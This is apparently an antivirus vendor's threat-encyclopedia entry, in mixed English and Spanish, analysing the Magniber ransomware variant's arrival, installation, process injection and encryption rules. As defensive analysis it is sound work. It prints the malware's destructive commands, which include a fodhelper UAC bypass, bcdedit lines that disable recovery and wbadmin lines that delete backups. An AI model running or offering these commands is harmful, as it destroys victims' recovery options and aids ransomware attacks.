Ransom.Win64.MAGNIBER.YPCGK

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Recopila determinada información del equipo afectado.

Redirige los navegadores a determinados sitios.

Detalles de entrada

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Instalación

Infiltra y ejecuta los archivos siguientes:

• %Public%\{random characters}.arc → Encoded script that disables recovery boot and deletes system backups

Agrega los procesos siguientes:

• %System%\cmd.exe /c fodhelper.exe → to bypass UAC
• "wscript.exe" /B /E:VBScript.Encode ../../Users/Public/{random characters}.arc
• bcdedit /set {default} recoveryenabled no
• wbadmin delete catalog -quiet
• wbadmin delete systemstatebackup -quiet
• bcdedit /set {default} bootstatuspolicy ignoreallfailures
• Open payment payment page through Microsoft Edge browser:
  • cmd /c "start microsoft-edge:http://{random characters}telmpeup.{BLOCKED}e.tech./telmpeup&{string1}&{string2}&{string3}&{string4}&{string5}
  • where:
  • {string1} - The number of drives in which the ransomware has enumerated files
  • {string2} - Total size of encrypted data has generated in bytes
  • {string3} - The number of files it encrypts
  • {string4} - The number of file it enumerates
  • {string5} - The build number of the compromised Windows OS

Agrega las siguientes exclusiones mutuas para garantizar que solo se ejecuta una de sus copias en todo momento:

• \BasedNameObjects\ecxwpbkdzzxrrhlqC

Este malware inyecta códigos en el/los siguiente(s) proceso(s):

• It injects into each process if the following criteria is met:
  • It is not running in a WOW64 environment.
  • The process integrity level is less than SYSTEM.
  • The UNICODE process name length is greater than 6.

Robo de información

Recopila la siguiente información del equipo afectado:

• The number of drives in which the ransomware has enumerated files
• Total size of encrypted data has generated in bytes
• The number of files it encrypts
• The number of file it enumerates
• The build number of the compromised Windows OS

Otros detalles

Redirige los navegadores a los siguientes sitios:

• http://{random characters}telmpeup.{BLOCKED}e.tech./telmpeup&{string1}&{string2}&{string3}&{string4}&{string5} → connects to payment page

Hace lo siguiente:

• It encrypts the following volume types:
  • FILE_DEVICE_DISK
• It avoids encrypting volumes with the following characteristics:
  • FILE_READ_ONLY_DEVICE
  • FILE_FLOPPY_DISKETTE
  • FILE_WRITE_ONCE_MEDIA
• It avoids encrypting folders with the following attributes:
  • FILE_ATTRIBUTE_SYSTEM
  • FILE_ATTRIBUTE_HIDDEN
  • FILE_ATTRIBUTE_ENCRYPTED
• It avoids encrypting files with the following attributes:
  • FILE_ATTRIBUTE_HIDDEN
  • FILE_ATTRIBUTE_READONLY
  • FILE_ATTRIBUTE_SYSTEM
  • FILE_ATTRIBUTE_TEMPORARY
  • FILE_ATTRIBUTE_VIRTUAL
• It avoids encrypting files with no file extensions.